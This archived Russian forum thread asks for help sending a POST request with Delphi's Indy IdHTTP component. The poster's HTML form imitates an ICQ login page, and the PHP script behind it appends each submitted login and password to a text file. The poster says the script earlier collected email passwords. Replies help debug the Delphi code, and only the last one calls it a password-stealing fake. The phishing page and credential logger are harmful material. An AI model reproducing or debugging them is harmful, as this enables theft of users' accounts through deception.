Архивировано

Эта тема находится в архиве и закрыта для публикации сообщений.

jaxik

Отправка через IdHTTP

Рекомендованные сообщения

Не могу отправить данные методом POST на html страничку через компонент IdHTTP.

 

 

 

HTml код

 

 

 

 

<center>

 

<form method="post" action="0144887.php" onSubmit="return CheckForm(this);">

 

<input type="hidden" name="page" value="start">

 

<input type="hidden" name="post" value="">

 

<input type="hidden" name="login_from" value="">

 

<tr>

 

<td><img src=http://img.mail.ru/0.gif width=55 height=1><br><b>ICQ Number</b></td>

 

<td width=63%><input type="text" name="Login" value="" class=w_100></td>

 

</tr>

 

<tr><br>

 

<td><b>ICQ Password</b></td>

 

<td width=100%><input type="password" name="Password" class=w_100></td>

 

<tr>

 

<td> </td><br>

 

<td><input type="Submit" value="Login" style="margin-top:4px"></td>

 

<td> </td>

 

</tr></form>

 

</table>

 

</center

 

 

 

 

php код, раньше этот скрипт использовался для записи мыла, но как другого нету, приходится использовать этот. Запись происходит

 

Login:Pass

 

 

 

 

$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";

 

$from=convert_cyr_string($from,"w","k");

 

$to=convert_cyr_string($to,"w","k");

 

$subj=convert_cyr_string($subj,"w","k");

 

$body=convert_cyr_string($body,"w","k");

 

mail($to,$subj,$body,$from);

 

$c = "$Login@$Domain:$Pass";

 

$fp = fopen("114532.txt","a+"); //открываем файл

 

fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё

 

fclose($fp); //закрываем

 

 

 

 

код в делфи ..

 

 

 

 

var sl:TStringList;

 

s:string;

 

begin

 

sl:=TStringList.create;

 

sl.add('Login=Vasya');

 

sl.add('Password=Pupkin');

 

s:=idHttp1.post('http://avtori.rxfly.net/icq/0144887.php',sl);

 

sl.free;

 

end;

 

 

 

 

 

 

После процедур в делфи, в файл записывается пустые пустые поля, типа : " "@:" "

 

 

 

Мне сказали что не хватает каких то данных для отправки кто в хтмл соображает, помогите плиз )

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

jaxik, ты все мучаешься, бедный... <_< На Indy был, примеры смотрел!? :lol:

 

var Data : TIdMultiPartFormDataStream;

Begin

Data := TIdMultiPartFormDataStream.Create;
Data.AddFormField ('fieldName', 'FieldValue);

PostResult := IdHTTP.Post ('http://ServerName/login.php', Data);

Data.Free;

End;

 

НЕ ДУПЛИ ТЕМЫ!!!

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
Не могу отправить данные методом POST на html страничку через компонент IdHTTP.

 

 

 

HTml код

 

 

 

 

<center>

 

<form method="post" action="0144887.php" onSubmit="return CheckForm(this);">

 

<input type="hidden" name="page" value="start">

 

<input type="hidden" name="post" value="">

 

<input type="hidden" name="login_from" value="">

 

<tr>

 

<td><img src=http://img.mail.ru/0.gif width=55 height=1><br><b>ICQ Number</b></td>

 

<td width=63%><input type="text" name="Login" value="" class=w_100></td>

 

</tr>

 

<tr><br>

 

<td><b>ICQ Password</b></td>

 

<td width=100%><input type="password" name="Password" class=w_100></td>

 

<tr>

 

<td> </td><br>

 

<td><input type="Submit" value="Login" style="margin-top:4px"></td>

 

<td> </td>

 

</tr></form>

 

</table>

 

</center

 

 

 

php код, раньше этот скрипт использовался для записи мыла, но как другого нету, приходится использовать этот. Запись происходит

 

Login:Pass

 

 

 

$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";

 

$from=convert_cyr_string($from,"w","k");

 

$to=convert_cyr_string($to,"w","k");

 

$subj=convert_cyr_string($subj,"w","k");

 

$body=convert_cyr_string($body,"w","k");

 

mail($to,$subj,$body,$from);

 

$c = "$Login@$Domain:$Pass";

 

$fp = fopen("114532.txt","a+"); //открываем файл

 

fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё

 

fclose($fp); //закрываем

 

 

 

код в делфи ..

 

 

 

var sl:TStringList;

 

s:string;

 

begin

 

sl:=TStringList.create;

 

sl.add('Login=Vasya');

 

sl.add('Password=Pupkin');

 

s:=idHttp1.post('http://avtori.rxfly.net/icq/0144887.php',sl);

 

sl.free;

 

end;

 

 

 

 

 

После процедур в делфи, в файл записывается пустые пустые поля, типа : " "@:" "

 

 

 

Мне сказали что не хватает каких то данных для отправки кто в хтмл соображает, помогите плиз )

попробуй sl.add('Submit= Login');

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах
:D что то это на какой то фейк смахивает, для увода пароля.

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах